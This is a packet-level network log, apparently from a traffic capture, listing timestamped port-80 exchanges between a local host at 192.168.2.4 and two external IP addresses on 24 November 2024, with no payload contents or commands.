Nov 24, 2024 14:24:40.876558065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.876605034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.876674891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.876720905 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.878313065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.878354073 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.878422976 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.878465891 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.879440069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.879514933 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.879570961 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.880019903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.880065918 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.880125999 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.880286932 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.880393982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.880487919 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.880611897 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.881725073 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.881778955 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.881922960 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.881998062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.883402109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.883450031 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.883508921 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.883553028 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.885077000 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.885122061 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.885154009 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.885195971 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.886739969 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.886756897 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.886807919 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.888438940 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.888487101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.888546944 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.888591051 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.890058041 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.890130043 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.890177011 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.891701937 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.891753912 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.891813040 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.891860962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.893306017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.893349886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.893382072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.893429041 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.894908905 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.894956112 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.895020008 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.895062923 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.896506071 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.896552086 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.896604061 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.896648884 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.898139954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.898181915 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.898216009 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.898267031 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.899681091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.899722099 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.899728060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.899763107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.901228905 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.901278973 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.901345015 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.901387930 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.902803898 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.902853966 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.902977943 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.903026104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.904406071 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.904452085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.904495955 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.904541016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.905318022 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.905411005 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.905462980 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.906208038 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.906253099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.906323910 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.906368017 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.907186031 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.907248974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.907275915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.907403946 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.908087969 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.908142090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.908224106 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.908271074 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.908984900 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.909041882 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.909096956 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.909136057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.909908056 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.909954071 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.910027981 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.910070896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.910815001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.910866022 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.910928011 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.910974026 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.911770105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.911817074 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.911895990 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.911943913 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.912661076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.912704945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.912782907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.912849903 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.913602114 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.913652897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.913700104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.913744926 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.914514065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.914571047 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.914603949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.914659023 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.915462017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.915513992 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.915545940 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.915594101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.916371107 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.916445971 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.916515112 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.916577101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.917293072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.917349100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.917418957 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.917490005 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.918231964 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.918313026 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.918375969 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.918430090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.919167995 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.919245005 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.919291019 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.919342995 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.920084000 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.920147896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.920166969 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.920211077 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.920947075 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.921056986 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.921066046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.921097040 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.921909094 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.922028065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.922041893 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.922102928 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.922918081 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.922981977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.923048019 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.923060894 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.923072100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.923147917 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.923187971 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.923424959 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.923546076 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.923608065 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.923760891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.923820972 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.923868895 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.924151897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.924685001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.924751043 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.924779892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.924840927 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.925363064 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.925554037 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.925565958 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.925618887 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.925623894 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.925688028 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.926454067 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.926517010 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.926580906 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.926676035 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.926747084 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.927433014 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.927491903 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.927525997 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.927580118 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.928364992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.928443909 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.928472042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.928524017 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.929296970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.929352045 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.929439068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.929483891 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.930211067 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.930262089 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.930310965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.930358887 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.931137085 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.931195974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.943941116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.944003105 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.944087029 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.964507103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.964624882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.964745998 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.965497971 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.965557098 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.965636969 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.967386007 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.967987061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.968082905 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.968091965 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.969897985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.969986916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.007005930 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.007213116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.007669926 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.007987976 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.008109093 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.008202076 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.009907007 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.009994030 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.010099888 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.028999090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.029036045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.029182911 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.049873114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.049969912 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.050118923 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.050843000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.050961971 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.051080942 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.052803040 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.053437948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.053447962 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.053570986 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.071453094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.071505070 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.071513891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.076219082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.076292038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.076313972 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.076361895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.076584101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.076627016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.076663017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.076720953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.077511072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.077553034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.077651024 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.077756882 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.078422070 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.078480959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.078514099 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.078587055 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.079365969 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.079468966 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.079503059 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.079513073 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.080257893 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.080317974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.080369949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.080439091 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.081192970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.081304073 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.081316948 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.081360102 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.082097054 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.082143068 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.082214117 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.082267046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.083022118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.083086967 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.083137989 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.083287954 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.083951950 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.084006071 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.084019899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.084072113 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.084865093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.084913969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.084995031 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.085042953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.085815907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.085871935 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.086025000 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.086081982 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.086765051 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.086827040 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.086854935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.086915016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.087661982 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.087712049 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.087783098 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.087831020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.088583946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.088701010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.088712931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.088753939 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.089490891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.089562893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.089608908 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.089698076 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.090447903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.090497971 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.090554953 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.090616941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.091331959 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.091387033 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.091460943 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.091514111 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.092257977 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.092304945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.092365026 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.092377901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.092411041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.092467070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.092509031 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.093180895 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.093308926 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.093319893 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.093372107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.093431950 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.094091892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.094149113 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.094181061 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.094225883 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.095022917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.095103025 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.095130920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.095179081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.096031904 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.096084118 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.096144915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.096204996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.096844912 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.096905947 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.096990108 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.097049952 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.097786903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.097902060 CET	80	49838	185.215.113.16	192.168.2.4
